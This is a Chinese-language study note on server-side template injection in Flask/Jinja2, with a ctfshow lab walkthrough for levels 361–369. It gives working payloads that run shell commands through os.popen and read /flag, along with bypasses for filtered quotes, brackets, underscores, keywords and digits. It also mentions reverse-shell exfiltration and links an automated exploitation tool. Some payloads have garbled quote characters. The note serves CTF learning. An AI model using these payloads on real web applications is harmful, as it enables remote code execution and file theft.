SSTI
能够利用来任意文件读取,rce
成因:渲染模板没有严格控制对用户的输入
配合eval,system.popen,file进行任意文件读取
测试方法
参考博客:Smarty模板注入&CVE-2017-1000480
参数={{10*10}}

vene
用来存放python脚本,以及安装python第三方库,换=环境和本机分离开,类似于一个虚拟机的环境
flask
轻量级的web框架
1 | from flask import *#加载模块 |
默认监听127.0.0.1:5000端口
- debug=True 动态执行代码,可以进行覆盖操作,也能定位到错误,在低版本能够直接在报错的地方输入python代码,引起命令执行漏洞,现在一半需要输入pin码才能执行
- host=’0.0.0.0’ 监听所有端口,不需要通过主机访问,别人也能打开
- port=端口号
url传参,格式化字符串
1 | from flask import *#加载模块 |

HTTP传参方法
app.py读取文件是需要在另一个与本文件夹同级的文件夹下的同名文件,才能读取(templates)
1 | from requests import * |



函数
render_template
加载html文件,默认在emplates文件夹
render_template_string
用于渲染字符串
python
1 | __class__ 返回类型所属的对象(类) |

检查可用的函数
self.__dict__._TemplateReference__context.keys()

lipsum,url_for,get_flashed_messages都有os模块
继承关系和魔术方法

base
往上查找父类
mro
把所有的类都显示出来,根据下标序号取得目标类,罗列出所有父类关系

subclasses()
查看子类

class
读取当前类所属的对象
前面加上的(),’’,[],””,{}等,类似于通配符,查找类型
init
查看类是否重载,如果出现wrapper,说明没有重载,无法执行

已经重载
globals()
只有被重载了,才有__globals__
以字典的形式返回当前对象的全局变量,即显示所有加载好的函数方法
builtins
加载内嵌函数和方法
?name={{‘’.class.mro[1].subclasses()[132].init.globals[‘builtins‘]‘eval’.read()”}}
.read()
显示回显
()|join
()|join方法,可以将小括号里的内容进行拼接起来。例如:(1,2,3)|join 就可以打印出123。
dict()|join
而dict()|join,就是将该字典的key值进行拼接,例如:dict(a=1,b=2)|join 的输出结果就是ab
常用模块
os._wrap_close
_frozen_importlib_external.FileFinder
对服务器上的某些文件进行读取
importlib类

os模块
linecache


subprocess.Popen类

过滤绕过
大括号被禁
{{}}={%%}
SSTI无回显盲注
反弹shell,外带
中括号过滤
getitem(数字或键名),通过键名得到键值,等于中括号的内容
单双引号过滤
GET
request.value.变量名
request.args.变量名, 通过get传入变量即可绕过单双引号,语句变量用&

payload:?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.aaa](request.args.bbb).read()}}&aaa=popen&bbb=ls /
POST
request.form.变量名 POST方法
Cookie
request.cookies.变量名 cookie方法,变量用;隔开

?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.aaa](request.cookies.bbb).read()}}
下划线过滤
attr过滤器,使用request方法

`?name={{‘’|attr(request.args.class)|attr(request.args.base)}}
再用get传参class=class&base=base
关键字过滤
字符编码
拼接过滤
class=”cl”+”ass“
~拼接
{%set a="__cla"%}{%set b="ss__"%}{{a~b}}
reverse反转,replace替换,join拼接
{%set a="__ssalc__"|reverse%}{{a}}
char()
length过滤数字
{%set a=’aaaaaaaaaa’|length%}{{a}}
a即等于10
{%set a=’aaaaaaaaaa’|length*”aaa”|length%}{{a}}
a等于30
全角数字转半羊角
脚本
1 | def half2full(half): |
config文件获取
current_app
{{url_for.globals[‘current_app’].config}}调取当前框架的config即flask的
{{get_flashed_messages.globals[‘current_app’].config}}
ctfshow
361

payload: ?name={{‘’.class.mro[1].subclasses()[132].init.globals‘popen’.read()}}
或者利用内置函数
?name={{lipsum.__globals__.os.popen('ls /').read()}}
362
内置函数绕过
?
363
单双引号绕过
?name={{lipsum.__globals__.os.popen(request.args.aaa).read()}}&aaa=ls /
364
过滤了args,使用cookie
?name={{lipsum.__globals__.os.popen(request.cookies.aaa).read()}}
365
过滤了[],上一题payload仍旧有效
?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.cookies.aaa)(request.cookies.bbb).read()}},用__getitem__()替换[]
366
过滤了下划线
?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
使用attr过滤器和管道符
337
过滤了os,
?name={{(lipsum | attr(request.values.b)).get(request.values.c).popen(request.values.a).read()}}&a=cat /flag&b=__globals__&c=os
368~369
?name= {% set a=(()|select|string|list).pop(24) %} // a = _ {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} // globals=__globals__ {% set init=(a,a,dict(init=1)|join,a,a)|join %} {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
~可以替换为%2b
name={% set po=dict(po=a,p=b)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%} {% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%} {% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%} {% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%} {% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%} {% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%} {%set pp=dict(pop=a,en=b)|join %} {%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)(‘tac /flag’)|attr(‘read’)() )%}
工具使用
https://github.com/Marven11/Fenjing
一体化集成,一步到位
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/zc1i6lphb4b005im
语雀文档ID: 141967193